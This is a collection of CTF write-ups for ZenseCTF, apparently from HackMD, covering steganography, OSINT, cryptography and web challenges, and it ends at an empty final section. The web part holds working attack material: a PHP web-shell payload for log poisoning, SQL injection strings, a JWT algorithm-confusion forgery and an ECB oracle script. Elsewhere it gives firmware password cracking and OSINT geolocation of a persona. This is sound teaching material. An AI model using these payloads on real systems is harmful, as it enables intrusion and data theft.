Try   HackMD

Writeups for ZenseCTF

Find the source code to all the challenges over here https://github.com/DaKeiser/zensectf
You can also deploy it locally, and run all the challenges.(Due to some issues, we shall share the code, once we shut down our contest server.)

Steps to deploy

git clone https://github.com/DaKeiser/zensectf.git
cd zensectf
./rebuild.sh
./redeploy.sh

Binary Exploitation and Reversing

author: SamaVerse

Writeups are in the link given below
https://github.com/Kartik-Sama/zenseCTF_Bin-Rev

Forensics writeups

Stego Nation

author: keiser

This challenge teaches you the basic concepts of LSB Steganography. A simple challenge. You could code it or use online tool like stylesuxx web tool or even zsteg, to solve it.

Flag: zenseCTF{st3g0_ain7_us3l355_bu7_sup3r_uns3cur3}

Magician's Signature Format

author: keiser

This challenge teaches you the concepts and importance of magic bits/ file format. We are given a file which has a png extension. In trying to open it, you receive an error. A file format is not actually identified by the extension name, but is identified on the basis of magic numbers(file signatures). So now you have the png file. Google out the file signature for PNG files. The signature for png files is 89 50 4E 47 0D 0A 1A 0A with an offset of 0. Open a hexeditor like Ghex or Hexedit, and now check the first few bytes, you will find the signature is 80 40 4A 46 1D 0B 1A 0A, Replace these bytes, and now check the png file. You have the flag in the image

Flag: zenseCTF{m4g1c_byt3s_ftw}

Wierd Noises

author: keiser

This is a really common steganography technique used in audio files. A slightly modified version of this was infact used for the promotion for The Dark Knight Rises. Coming back to the challenge. The first hint tells that FFT might be of some use here. The second hint tells to plot it graphically. Googling this hints would lead you to check for Spectrograms. Check out for spectrogram visualisation tools like Sonic Visualiser, Audacity or Spectrum Analyser, or optionally choose to plot it on Matlab or Octave . Import the wav file on it and you get the flag.

Flag: zenseCTF{control_is_an_illusion}

Saiakash's Tragedy

author: keiser

This is related to the concept of polyglot files. It is one of the popoular ways a malware spreads. The file can behave like two different file formats. This can also be used in web exploiting, when a particular file format is only allowed for an upload but you can upload a polyglot of PHP and the allowed file format and you could get your way into it. In order to identify these type of files, either Foremost or Binwalk can be used. I shall use Foremost. foremost memes.zip would work out. Then go to the generated folder. After going there check out the pdf folder. You find the assignment. In assignment you get the flag

Flag: zenseCTF{s1gnals_syst3ms_and_p0lygl07s}

Are you wise enough ?

author: vardegea26

In this challenge you were given a firmware file. Binwalk identifies 5 components in this firmware namely: The firmware image file, the kernel image, 2 squashfs filesystems and a jffs file system. After extraction the thing of our interest is the squashfs-root. This is the entire file system for the device. We go into the /etc directory and see that we have a shadow file which stores the password hash.

Now we let JohntheRipper do the rest of the stuff. john --fork=4 shadow. After john finishes execution we get the password ismart12

Now ssh to the given machine with this password and get the flag.

Flag: zenseCTF{ssh_d0Nt_t3ll_anY0n3}

Note:

This is a real life example of how insecure security cameras are. The firmware was from a camera called Wyze. Since the password used is so easy to find, we can login to the security cameras and tamper with the video feed. Another thing done which is very common is malicious people patch the firmware image with a backdoor and resell the camera with the backdoor on ebay or some other websites selling second hand stuff.
Now the buyer has no clue that all his feeds are being sent to the adversary. There is an awesome youtube video on this: https://www.youtube.com/watch?v=hV8W4o-Mu2o

Miscellaneous

author: grass

Monster

Concepts: Osint

Problem Statement:
What's your monster?

Note(once you find the 'key in the room'): A temporary redirect here means that if the request is redirected from A to B then again to C(without user intervention), report B

Link takes you to a 404 page. But the title of the page says '200 OK'. So it's not a real 404 page. After going to it's source code you find a username s3pi0lSAm

Running a namechk(or sherlock or whatever you prefer) on him, reveals that he has a reddit account. His reddit page has one post

Is the key in the room?
The key was in the room on Wed Jun 10, 09:58 UTC

Using Wayback Machine(internet archives) going back to the snapshot at 9:58 UTC, reveals a different post(this post was deleted after 9:58).

eXit
Stop whiterose's machine right now!! DO IT! Get to the origin of the machine and eXit.

After stopping the machine, you'll be temporarily redirected to <domain>/<dir>

your flag is zenseCTF{<dir>}

who is mr robot? ask google.

This combined with the hint 'Are you feeling lucky?' hints that you need to search 'who is mr robot' and click the first result(or click I am feeling lucky). This takes you to whoismrrobot.com. There you go to the origin PC and play the eXit game on the desktop.
You can find the answers to this game on google(there is a reddit post with all answers: https://www.reddit.com/r/MrRobot/comments/echv8e/yo_i_found_the_exit_game/).

Once completed, you are redirected to whoismrrobot.com/origin then to whoismrrobot.com/ again. So the flag is zenseCTF{origin}.

NOTE: As communicated through discord, I was giving the flag to anyone who completes the game, because some people were not getting the intermediate redirect for significant time.

FLAG: zenseCTF{origin}

The Flat Brain Society

author: grass

Concepts: Osint

Problem Statement:
Some guy from TFES showed up on our discord server a few days ago. He has the account of our old friend Sam Sepiol. Poor Sam got his phone stolen a few days ago and his gmail was compromised. Find out who this guy is and what he's upto.

Look at the general channel on the Discord server, you'll find a douchebag SamSepi32250525 having messaged a few days ago. Namechk him and you find he has a twitter account. Scrolling through his twitter you find his github.io page which says

Hi my name is Robert Henderson
This page is yet to be completed, I'm looking for a web developer to make this for me. Till then you can find me on facebook, I post tfes stuff!

Now you know his real name and that he has a facebook. But 'Robert Henderson' is an extremely common name. So you need to find something to narrow your search results on Facebook. In his twitter you also find this picture

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

This gives away his location. Since he says this 7 eleven is nearby him, it means he lives in that area.

You can see Interstate 190, connects Buffalo,NY to the US-Canada border(a simple google search tells you this). Another thing you can see is Hertel Avenue. When you google 7 eleven Hertel, you find that it is in Buffalo, New York. So our dude lives in Buffalo, NY.

Use this location in the facebook search filter and the account we need is the first result. His Bio says where do I work?. So go to Work and Education tab in the About section. There you'll find the first part of the flag zenseCTF{d03s_fl4t_3aRth_h4ve. Above it, you also learn that he has registered for Zense CTF. So you go to ZenseCTF page and click on users and look around. You'll find samsepi0l with a website link next to the profile.

This website leads to a pastebin with the second part of the flag. _gr455_pr0BaBlY_n07}

FLAG: zenseCTF{d03s_fl4t_3aRth_h4ve_gr455_pr0BaBlY_n07}

Thinker's Bros

author: keiser

This teaches the concepts of OSINT and Social Engineering, like what locations a person has been to etc. The first step in challenge was to find the username. A simple google search wouldn't suffice. There are tools online to find the usernames online like https://usersearch.org/ to help you with that. You see that, only one valid username exists and that is on Instagram. A minor guesswork would help here. There are only two images with flags in the images. In one image, with comment Dovrei. Vorei. Potrei. Fatto., we see that the location mentioned here is Flaggin'. Maybe that strikes right Click on that location. It has been observed that it doesn't work properly on insta web, hence I dropped a hint telling to lookout for some other sources like Instagram Scrapers(For ex https://www.picuki.com/) You get this. Here is the flag. This works perfectly on mobile though.

Flag: zenseCTF{pr0_st4lk3r_huh}

Find The Word

author : Hem_C

This question is inspired from the TJCTF 2020 question, "Titanic". We give them the due credit for designing such an interesting question.

I did not think too much or even read anything in that document. I just did Ctrl-A + Ctrl-C and copied everything.
I am aware that a lot of extra stuff like page numbers, table of contents, acknowledgements, etc would get copied. Moreover some stuff would get copied multiple times, like the title of the book which appears on every page.

Does it matter?

Not exactly, no.

For all practical purposes, collisions have not been found in SHA-256. In other words that means that for almost every single example you are going to see, unique values get hashed to unqiue hashes. You are not going to see 2 different words hashed to the same thing.

That means I don't have to worry about repeating words or copying extra stuff, because as long as the word that actually forms the SHA-256 hash is present, that is enough.

Anyways, the code that is attached is self-explanatory:

import hashlib

reader = open('being_a_boy.txt', 'r').read()            

lst = reader.replace("\n", " ").split(" ")
lst[:] = (value for value in lst if value != '')
lst[:] = (x.lower() for x in lst)                 
s = 'b754015b1f05de447a0915eea5238c1f3310a4826b3190d5b7fe4739bc3bc992'
for i in lst:
    word = "zenseCTF{"+i+"}"                             #Wrapping around
    hashval = hashlib.sha256(word.encode()).hexdigest()
    if hashval == s:                                     #Checking equality
        print(word)

I hope it is clear now. You might get multiple lines of output but all of them contain the same word.

The flag is zenseCTF{sassafras}

Guess Lord

author: keiser

This challenge was given so that it could be comfortable for you to go ahead with other socket programming challenges. This is a simple Binary Search challenge. On entering an input you get three options, either if it is greater than the guessed random number, lesser than guessed random number or same as the random number. Using Binary Search Algorithm we have to narrow down to that number.

The solution code is as follows. I have used pwntools library to solve these challenges. You are free to use socket library too

from pwn import *

host = "chal.zense.co.in"
port = 6969

''' Attempt a connection to the socket '''
r = remote(host, port)

# Recieve all the input till "You have 5 seconds and 30 tries to guess it correctly :)"
prompt = r.recvuntil("guess it correctly :)\n")
print(prompt)
min = 0
max = 1000000
guess = 0

# Basic Binary search depending on the given outputs from sockets
while(guess<30):
    guess += 1
    val = int((min+max)/2)
    print("Sending {0}".format(val))
    r.send(str(val).encode('utf-8'))
    prompt1 = r.recv().decode()
    if (prompt1.find("lesser") >= 0):
        min = val
    elif(prompt1.find("greater") >= 0):
        max = val
    else:
        print(prompt1)

After running the code, you get the flag.

Flag: zenseCTF{scr1p71n9_y0ur_w4y_2_v1ctory_67756573730a}

Cryptography

Super Easy, Barely An Inconvenience!

author : Hem_C

So I used the tools boxentriq and dcode.fr to solve the question. There could be other tools used as well - but I used these two.

I applied boxentriq's cipher identifier tool onto the given text. It revealed that it was likely to have been encrypted in base64, and if you are familiar with base64, you'd notice that this assumption
would seem to be correct.
And so I ran it through their base64 tool and got another piece of text :

6D726166725047537B703163753365355F3465335F6731747567217D

This still seems to be ciphertext,so again we run it through boxentriq's tool and see that it is likely to be hexadecimal encoded. If you are familiar with hex you'd see that this assumption is likely true.
And so I ran it through their hex tool to get this -
mrafrPGS{p1cu3e5_4e3_g1tug!}

This seems closer to the actual flag but this time however when I ran it through boxentriq it returned that it was of an unknown format. Clicking on that leads you nowhere useful. Of course this challenge has an answer, so let us try somewhere else.

I used dcode.fr. Problem is it doesn't have a cipher identifier tool - but if you know the cipher, dcode.fr gives the best results out of the tools I know.

We know that the first few letters are zenseCTF. So ciphertext 'mrafrPGS' corresponds to 'zenseCTF'.

Well we can see that shifting 'm' by 13 corresponds to 'z', and that shifting the other ciphertext characters by 13 also gives the corresponding plaintext.

Could it be a simple ROT13 cipher? Sure looks like it. Ignoring all the numbers, shift the letters all by 13 to get-
zenseCTF{c1ph3r5_4r3_t1ght!}

A More Difficult Cipher?

author : Hem_C

For this challenge I used dcode.fr. There could be other tools as well- but I used this and found it to be the best for this one particularly.

Now let us look at the text we have. Ignore all the stuff before the portion that clearly corresponds to the flag -
dirwaGEH{k31o0q3_x0_xl3_g2cl70_51h3}
Well, we know that ciphertext dirwaGEH should correspond to plaintext zenseCTF, so there's a start.

Notice that the first e and the second e in the plaintext correspond to different letters in the ciphertext. So this is not a Caesar cipher, or monoalphabetic cipher in general. It is a polyalphabetic one(the easiest way to notice is to see whether the same letter always is encrypted to the same ciphertext).

At this point probably the only polyalphabetic cipher you know is Vigenere cipher, so let's try that.

Now in dcode.fr, automatic decryption does the trick.
But a useful idea for the future, is to fill up that "known plaintext" field. We know that the flag starts with 'zenseCTF{' - so that is the known plaintext we can enter in that field. That too, gives theright answer.
You get the key as "WELCOMEEEEEE" and the plaintext as a quote from The Dark Knight.
The flag is found to be zenseCTF{v1g3n3r3_15_4w350m3}

Trivia - Adding extra letters to the key messed up boxentriq's cipher identification - it wrongly decrypted as a double Playfair cipher. So be careful with that tool, this is one example to show that it isn't always right.

Really Strange Algorithm

author : Hem_C

This is simple RSA decryption. I highly advise to go through either the picoCTF material or GeeksForGeeks for a good explanation (well there are a lot of great explanations tbh, I can't pinpoint one I learnt from. But for a basic understanding these would work)

You are given p,q and e. We can compute phi from p,q,ϕ as
ϕ = (p-1)*(q-1)

Then d is the modular inverse of e with respect to ϕ. You could compute this, or just use inbuilt functions to compute.

Now you have the private key. For a ciphertext c, the plaintext m is simply
m = c^d % n

You are given a list, so iterate through every element and perform the same operation. You will get the answer as zenseCTF{rs4_1s_l1t}

Even Stranger

author : Hem_C

This is almost the same as the last question, because the modulus is weak, or in other words we can find its factors easily.

All you have to do is factorize it, whether with your own program or plugging into factordb. Then you get p,q, and it becomes the same as the previous question.

The flag is zenseCTF{w34k_m0dulu5_15_4_p41n}

Valentine's Day

author : Hem_C

This type of question has actually been referenced in the Additional Examples link we mailed so long ago. So if you had gone through that material you would have been able to identify that it is a many-time pad vulnerability as mentioned here - https://hackmd.io/@keiser/resources

One major thing I want to point out which was not explicitly stated is that when you XOR two strings of unequal lengths, you have to truncate the longer one to the length of the shorter one.

So what we base it on is that if a letter is found in the ciphertext then it is likely that there is a space character in one of the plaintexts, though we cannot identify which. If you want you could try XORing 'a' with ' ' to see that the result is 'A'. And so on so forth with the rest of the letters.

This is extremely useful and what we base our entire attack on. You are given hex-encoded strings so first decode them and then XOR them, based on the logic mentioned in the link above. What you do is try to recover the key from this.

So XOR two ciphertexts, say c1 and c2 to getc1 ⊕ c2. Look for alphanumeric characters in this. Wherever such a character appears, let it be at a position ind, there is likely to be a space in one of the plaintexts at position ind.

As we have mentioned before, c1 ⊕ c2 = m1 ⊕ m2, where m1 and m2 are plaintexts corresponding to c1 and c2 respectively. Now at position ind in one of the plaintext messages, we are likely to have a space. But we don't know which one. That's why instead we try to figure out the key first. After all, once we have the key it is trivial to obtain all the plaintexts from ciphertexts.

So rather than deciding which plaintext it might have come from we just say that at that position ind there is a likely space character. This will be important.

Now we analyze this for all distinct pairs of ciphertexts. We now have an idea of what locations spaces might appear in plaintexts. Suppose we find that for some ciphertext ci the same index ind appears as a likely position for space character on analyzing after XORing with all the other ciphertexts. Then there is a good chance that there indeed is a space at that position. In practice we might not find it appear in every analysis but if it appears as a likely index a number of times above some minimum threshold, it is enough to assume.

So you have some idea that there are spaces at so and so locations in mi. Now just XOR ci with a string made up of spaces only which is of same length as ci . Because m1 ⊕ key = c1, meaning that c1 ⊕ m1 = key. Now we do not actually know m1 but we know that it has spaces at certain indices and so what we are interested in is XORing at those indices. This certainly gives you possible characters for the key at those locations.

Doing this for all ciphertexts lets you fill up multiple characters in the key (for this problem at least we did). Once you get key finding the flag is trivial.

Now, this is where many got stuck. You get *ense*TF{0tp_0n1yS0*c?}. Many people did not account for the fact that we do not know all the characters. They just deleted them and I got DMs about flag being enseTF{0tp_0nlyS0c?. This can be seen to be wrong because the flag format is zenseCTF{}. You have to leave some sort of mark to acknowledge the characters which you could not find.

Here we used stars to denote unknown characters. The method was not perfect and characters get returned wrongly sometimes, like _ is made S here, and 3 made '?' so we could possibly deduce it wrong too.So I wrote that hint so that people could make S to _. As for the punctuation marks part, once you fill in the characters (from knowledge of flag format and my hint), you get

zenseCTF{0tp_0nly_0*c?}. You have to do some more guesswork and guess what the word could be. A substantial number of teams was able to understand the hint and guess the last word as 0nce (punctuation marks aren't what they seem, so you have to transform. Moreover many-time attack gives you reliable answers for alphanumeric usually, so that's another hint). Using our number speak logic, e is 3, so the flag is

zenseCTF{0tp_0nly_0nc3}

I learnt a lot about Many Time Attack from the Stack Exchange article linked in first link and this code here, which will probably explain clearer than what I said - https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py

Bad Timing

author: keiser

This challenge actually has very less relation with crypto actually :P. This is a basic bruteforce challenge. The most important line in the problem statement was executed this code some 1 day before the contest began. Now looking at the code used to encrypt the code.

from secret import flag
from Crypto.Cipher import AES
from hashlib import md5
import time

key = md5(str(int(time.time()))).digest()
padding = 16 - len(flag) % 16
aes = AES.new(key, AES.MODE_ECB)
outData = aes.encrypt(flag + padding* str(padding))
print(outData.encode('base64'))

First we need to see how to decrypt using AES. Reading the documentation, we see that in order to decrypt a given message, we need to have the key used to encrypt and ciphertext. We have the ciphertext and we need to find the key to decrypt the message.

The most interesting part in the code use to encrypt is the key being used.

We see that to generate the key, the method time.time() is used. On checking out what that method does, we find out that it returns the time in seconds since the epoch as a floating point number. The epoch is the point where the time starts, and is platform dependent. For Unix, the epoch is January 1, 1970, 00:00:00 (UTC).

So what do we infer from this? The key can be bruteforced. As it is just a timestamp, and since the file has been executed 24-48 hrs before the event as mentioned in the question, bruteforcing 86400 or 86400*2 seconds wont be a big deal for the computer. This is the decrypt script used.

from Crypto.Cipher import AES/
import base64
import time
from hashlib import md5

enc = '3Y6SUOJw4QCM1fukxt2TWB2eO5giteB2TjzxJudeb2mnQYqLoND2bzU14Fc4hKZGi6Ezmeyh7MeHQT21GwCSDouhM5nsoezHh0E9tRsAkg4='

cipher = base64.b64decode(enc)

#Change the beginning value according to the day of the event you are solving this challenge.
#I'm assuming that you are doing it on 20th
for tim in range(int(time.time())-(86400*2), (int(time.time()))):
    key = md5(str(tim)).digest()
    aes = AES.new(key, AES.MODE_ECB)
    plaintext = aes.decrypt(cipher)
    if (plaintext[:5] == 'zense'):
        print(plaintext)

And hence in this way you solve it.

Flag: zenseCTF{n3x7_7im3_s3l3ct_bett3r_key_74696d650a}

Algorithmic Cipher

author : Hem_C

This is a question I really enjoyed setting. Though of course, it turned out that there was a loophole which I did not account in the values used which allowed some guesswork to get a solution in a simpler fashion xD. However this is a rigorous solution , so read on.

So first things first, subset sum is an NP-hard problem as I mentioned there. Using dp gets it to pseudo-polynomial time which is O(target_sum* array_size). (I chose not to encrypt the zenseCTF part along with the words while setting the question so that the execution would be sped up).

Firstly, the ASCII words have been into decimal and only lowercase letters, underscores, and numbers have been used. Clearly we do not need to analyze any other number in that list then, because we are not just trying to find any subset, we also want the subset to be the flag. So what we do is take only those numbers which could possibly correspond to lowercase letters, numbers, or underscore. In other words we write an if condition, like
if ord('0') <= i <= ord('9') or i == ord('_') or ord('a') <= i <= ord('z')
and use that to append to a list.

This new list is what we operate on. Operating on the given list will not be easy at all due to its huge size. We do not want the other clearly junk values to contribute to the subset sum after all, as that is of no use. And without pruning it, finding the subset takes too long to be useful here. So this pruning down is a vital step.

The pruned down list is actually very small (by design of course, so that it would be solvable in a reasonable amount of time) - [53, 109, 52, 108, 108, 121, 95, 107, 51, 121, 121, 120, 120, 120, 121, 120, 122, 122, 120, 120, 122, 121, 120, 122]

This is really easy to analyze, as the target_sum * size_of_array is <<< 1e9. So we use the algorithm for subset sum problem (you don't even need to know what it is, you can just copy-paste from some website, onestly it doesn't matter ) and get a list of possible combinations (something between 2000-2500 combinations I guess).

Again this is way too big for us to analyze. So what we do is instead convert the entire flag to characters, you know, like 5m411 becomes small. Then we reverse it, because recursion means the numbers areprinted backwards. I mentioned that each letter has been inserted in the same order it appears in the flag for this very reason - else you would have to analyze all the possible permutations of each possibility; I assume it would not be TOO bad but then for simplicity I have mentioned that it appears in the same order. So since we know that it does, we need to be mindful of the characters being printed in the reverse order due to recursion. So, reverse the entire flag.

Then what we do is check if the portions between underscores are English words. Like for small_boy, I check if small and boy are English words. If they are, then convert them back to the number-speak, or 5m411_b0y (according to protocol I mentioned in Discord) and print it out. Iterate through all the possible combinations. I used the Pyenchant library for this but you are free to try other possibilities.

Code I used to check:

s_list = []
while True:
    t = input()
    if t == "-1":
        print(s_list)
        break
    l = map(int,t.split())
    l.reverse()
    l = leet_to_ascii(map(chr,l))
    if "_" in l:
        s1 = ""
        s2 = ""
        ind = l.index("_")
        for i in l:
            if l.index(i) < ind:
                s1 += i
            if l.index(i) > ind:
                s2 += i
        if len(s1) == 0 or len(s2) == 0:
            continue
        if d.check(s1) and d.check(s2):
            s3 = ascii_to_leet(s1+"_"+s2)
            s_list.append("zenseCTF{"+s3+"}")

(I've only pasted the relevant part, the rest can be implemented by yourself)

The only unique element in the returned list was 5m4ll_k3y, and it got printed multiple times. Reason is because in the pruned down list there are multiple elements, a character may have been repeated multiple times in the flag.Because there are repeated elements, you get multiple subsets which are exactly the same as one subset considers the first instance of the element, another subset has every other element the same but considers another instance of that element, etc. But finally they all give the same word.

So the answer is finally zenseCTF{5m4ll_k3y}

AES It !!!

author: keiser

In this challenge we are given two options

  1. Encrypt a text input which is padded with the flag in AES ECB format
  2. Encrypt a text input normally in AES ECB format

First of all we need to check out how AES ECB mode works. This could be used as a reference.

We see that, first the message is padded in order to make it's length a multiple of 16. Now the message is divided into blocks of size 16 and then each block is encrypted separately with the key which is also a length of 16.

ECB Encryption method

So how can we exploit this. This link nicely explains how we could attack such a mode.

In the server, the encryption takes place as follows for case 1

  • Takes in input from the user
  • Appends the flag to the input
  • Pads it to make a multiple of the block size
  • Encrypts the resultant plaintext
  • Gives the Cipher text as output

Output = encrypt(input+flag+padding)

In case 2 almost similar situation happens

  • Takes in input from the user
  • Pads it to make a multiple of the block size
  • Encrypts the resultant plaintext
  • Gives the Cipher text as output

Output = encrypt(input+padding)

The second case is given in order to support the first case. Ok now speaking about how we exploit this vulnerability.

Since the encryption is done blockwise, what would happen if we send an input in case 1 in such a way that first character of the flag is visible. To be more precise, assume flag to be zenseCTF{abcdef}, and in place of padding lets use 0.

Now lets send an input of 15 a's in case 1.
Our output will be encrypt(a*15+flag+padding) = encrypt(aaaaaaaaaaaaaaazenseCTF{abcdef}0) Here block 1 would be aaaaaaaaaaaaaaaz and block 2 would be enseCTF{abcdef}0. So how would encryption now occur?

encrypt(aaaaaaaaaaaaaaazenseCTF{abcdef}0) = string(encrypt(aaaaaaaaaaaaaaaz)) + string(encrypt(enseCTF{abcdef}0))

Now let's jump to case 2.

In this if we send an input of 15 a's appended with z, like aaaaaaaaaaaaaaaz the output will be string(encrypt(aaaaaaaaaaaaaaaz)) You might ask, how will we find out what we should append with 15 a's. well to do that you need to brute force. Read ahead for more

From the above two examples can we try to find where the vulnerability exists? It is merely in the fact that the encrypted blocks are just appended to each other and the first encrypted block will be the same in both cases.

Okay but one question is still unanswered. How will we know which char we must append with 15 a's. We can use bruteforce in order to identify that. The character whose first encrypted block is equivalent to the encrypted bruteforced string is the required char.

Here is a practical example

  • Connect to the socket using nc chal.zense.co.in 6955
  • Now select option 1
  • Send 15 a's, you will receive an output
  • Now select option 2
  • send 15 a's + z ie. aaaaaaaaaaaaaaaz
  • Compare the first block chars of the outputs of case 1 and case 2, they are similar.

Now how would we extract the second character of flag. Easy, send 14 a's in case 1 instead of 15. Now encryption blockwise will be string(encrypt(aaaaaaaaaaaaaaze))+string(encrypt(nseCTF{abcdef}00))

From the first iteration, we understood that z is the first character, now in case 2 we shall send a string of 14 a's and one z and bruteforce the 16th character. We shall find that for the character e, the first 16 characters of the encrypted string in case 1 and case 2 match. In this way we keep repeating, until we find the entire flag.

  • Connect to the socket using nc chal.zense.co.in 6955
  • Now select option 1
  • Send 14 a's, you will receive an output
  • Now select option 2
  • send 14 a's + z + e ie. aaaaaaaaaaaaaaze
  • Compare the first encrypted block of the outputs of case 1 and case 2, they are similar.

Another thing was to check for the length of flag. This could be easily done. one method is to select option2. Enter A as input, and check the length of encrypted input. Let this be x. Now select option 1 and enter A as input, you will find it to be a multiple of x. let that be n. It means that there are minimum n blocks in the flag, to exactly count the number of blocks, keep increasing the input size in case 1 by adding more A's. The point at which the length of encrypted flag increases means that that is where the flag begins. Hence number of blocks in the flag would then be n-1. That would determine the value of k that we used in the iteration below.

Here is the shabby script I have written to solve this challenge. I did not write this code in a clean way(I'm sorry), but yeah, you will be able to see the flag building up with this.

from pwn import *
host = "chal.zense.co.in"
port = 6955
r = remote(host, port)

plaintext = ""
blocksize = 16

lst = [i for i in range(34, 127)]
r.recvuntil("Press Enter to continue: ")
r.send('\n'.encode())
r.recvuntil("Your choice: ")
# The value k depends on the size of the key, basically it means number of blocks
for k in range(3):
    b = ""
    for i in range(1,17):
        r.send('1')
        r.recvuntil('> ')
        string_sent = "a"*(16-i)
        r.sendline(string_sent)
        # The line below contains checks for the hex in a given line... I basically assumed the hex consists of numbers
        b1 = r.recvline_contains(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'])
        # Now I take the first 32 chars of the encrypted output which was padded with flag
        b1 = b1[:32+k*32]
        #print ("String sent: ",string_sent)
        r.recvuntil("Your choice: ")
        for j in lst:
            #print("Checking for "+ chr(j))
            r.send('2')
            r.recvuntil('> ')
            r.sendline(string_sent + plaintext + b + chr(j))
            b2 = r.recvline_contains(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'])
            # Now I take the first 32 chars of the encrypted output which was padded with bruteforced char
            b2 = b2[:32+k*32]
            r.recvuntil("Your choice: ")
            if b1 == b2 and chr(j) in string.printable:
                b += chr(j)
                print (plaintext + b)
                break
                
    plaintext += b
    print (plaintext)

Flag: zenseCTF{Bl0ck_c1ph3rs_suck_6563620a}

WEB

Goodbye Friend

author: grass

Concepts: jwt, jwt algorithms

Problem Statement:
Did Whiterose's machine work? What is this alternate reality that I'm in? Am I the real Elliot Alderson? The Dark Armygone? Seek answers.

source included
Source includes: server.py(flask)

The source is etremely helpful in this one. It reveals 2 things:

  1. There is no check on the JWT algorithm while reading. While making the jwt, it uses RS256 algorithm(requires public-private key combination).
  2. Cisco's credentials, user: cisco pass: cisco123

Looking at cisco's profile, I got a public key:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoQHJN+YBi4sO1/10s9AL
50Qk4RgG6VRWk6a6bp952xWSzz2mS1X+FrymUGGvL22AVGUrn7gr0LgoW4BZPx4K
NJO1jU7xZ7Kkz1VChxkdhN2h4kMvEYwlsmuZeT4muwVh1Gdh4UogaXPHIWXXcenA
S1tt8rrHJo8IsCoVOMbq0KPB26cMKl+JFYPHvNghOuYpRLPidb/nbebkxa62/deZ
iVTNMGLbMw+S+1/jIH3B80wbhsLqEfT/+UOpMuJFqqNalx+nxFcZhITee5waEm12
5t5O9SK30AVS1t5tdpl0uv22UgkI6HkjTNQ12X+wu03zeGYKwCjF88ssOiHpffHG
fwIDAQAB
-----END PUBLIC KEY-----

and the source revealed the way it validated the jwt auth token:


jwt.decode(auth, PUBLIC_KEY)["auth"] == "whiterose"

There it was! The function did not check for the token's algorithm and just decoded it based on the public key, and they gave me the public key.
So, I changed the algorithm from RS256 to HS256(easier, 256 bit single key needed to sign as opposed to pub-priv key pair in RS256) and changed the auth from cisco to whiterose

Then, to sign the token,

  1. Convert the pubkey into ascii text:

cat publickey.pem | xxd -p | tr -d "\\n"

  1. Generate signature:

echo -n <unsigned modified JWT> | openssl dgst -sha256 -mac HMAC -macopt hexkey:<ascii text of the pubkey from step 1>

But this signature is ascii

  1. Convert signature from ascii to jwt format:

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<ascii signature from step 2>')).replace('=','')\")"
This will output the signature we required

  1. Sign the token:
    Just append <unsigned modified JWT> with . followed by the signature generated.

(The key sigining procedure is much better explained here)

Now, I replaced the website token with this forged token and I was signed in as whiterose. Went to elliot alderson's page and got the flag.

Elliot Alderson is a cybersecurity engineer and vigilante hacker who lives in New York City. He is suspected to be a member of the vigilante hacker group fs0ciety

Elliot suffers from social anxiety disorder, clinical depression, delusions and paranoia.

Threat: Severe

He is not Elliot alderson, he's the mastermind.This is his reality https://www.youtube.com/watch?v=mjJCDG5qORI&t=188



"Sometimes I dream of saving the world, saving everyone from the invisible hand"



If you made it till here, congratulations, you have probably maxed out the web challenges. Now it's time to let go.

c0ntr01 i$ 4n Il1us1oN. L3t GO

zenseCTF{7his_OnLy_w0rks_1f_yoU_l3t_gO_t0o_99Hj12B}

The final cookie:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoid2hpdGVyb3NlIn0.00-LZ65PvR4-7uUN8Myr1hYg2-JE6Xntqokq7SHdsxs

FLAG: zenseCTF{7his_OnLy_w0rks_1f_yoU_l3t_gO_t0o_99Hj12B}

Scam Flags

author: grass

Category: Web

Concepts: apache log poisoning, rce

Problem Statement:
Just like every shady looking website on the internet, the flags site turned out to be a massive scam. They never delivered the flags. The fest is just a few days away and you NEED those flags. Intel has it that the site owner himself has some really good flags that he keeps in his /home. But where in his /home?

Clicking on Get Flag not only leads you to a rick roll link, but also gives you a hint at Local File Inclusion in topic variable. The hint also tells that that log poisoning is possible. So I went to the apace access log.

chal.zense.co.in:14438/app.php?topic=/var/log/apache2/access.log

Now fire up something like burpsuite(or can be done using inbuilt curl too), change your User-Agent(The stuff that contains the browser information) to a php code, for example,

<?php system('ls') ?>

Will run the ls command on the server and output it's contents on the log file.

More general way to do that is,

<?php system($_GET['cmd'] ?>

This way it'll look for the value of the variable cmd in the get request(the URL) and put that inside the system command.

So you can use,

chal.zense.co.in:14438/app.php?topic=/var/log/apache2/access.log?cmd=ls

to execute ls on the server.

So now you go to /home and from there keep ls'ing and going into the directories until you find the flag.txt file, after which you can cat it.

FLAG: zenseCTF{mY_10g_Di3d_0f_pOiSon1nG}

FREE FLAGS

author: grass

Concepts: local file inclusion

Problem Statement:
Prof. Chetan Parikh assigned you with a job to buy new iiitb flags(the ones they hang on lightpoles every fest). You find this shady looking website on the internet claiming to offer free flags. So of course, you click on it because the money saved on flags is the money that goes directly in supporting your feasts at Hyderabadi Spice.

There are 2 ways to approach the challenge
http://chal.zense.co.in:14437/app.php?topic=flag/flag.php (intended)
and
http://chal.zense.co.in:14437/flag/flag.php (unintended)

FLAG: `zenseCTF{l0cal_fIL3_iC1uSi0N_1s_n0T_oKey}``

My Secure and Quick Login

author: grass

Concepts: sql injection

Problem Statement:
such sql much secure many quick (doge image)

A normal sql injection in username as ' or 1=1 # gives

So you're telling me, you are 3 people at one time?
YOU'RE GONNA HAVE TO TRY HARDER THAN THAT

which tells that there are 3 users and ' or 1=1 # is returning all the 3, which is not ususal for a login (because one username can only return 0 or 1 records).

So we just limit the results to 1 row.

' or 1=1 limit 1#

FLAG: zenseCTF{u5E_pr3P4red_QueR1es_nex7_tiM3}

MR. ROBOTS.TXT

Category: Web

Concepts: General

Problem Statement:
Hello, friend. There's a powerful group of people out there that are secretly running the world. I'm talking about the guys no one knows about, the ones that are invisible. The top 1% of the top 1%, the guys that play God without permission. Don't let them crawl your secrets.

Go to the infamous robots.txt file.

User-agent: *
Disallow: /whatisthis.txt

Go to /whatisthis.txt and it has the flag!

FLAG: zenseCTF{7op_1p3rceNt_of_th3_1P3rcEnt}

Pro Mafs

author: grass

Concepts: General

Problem Statement:
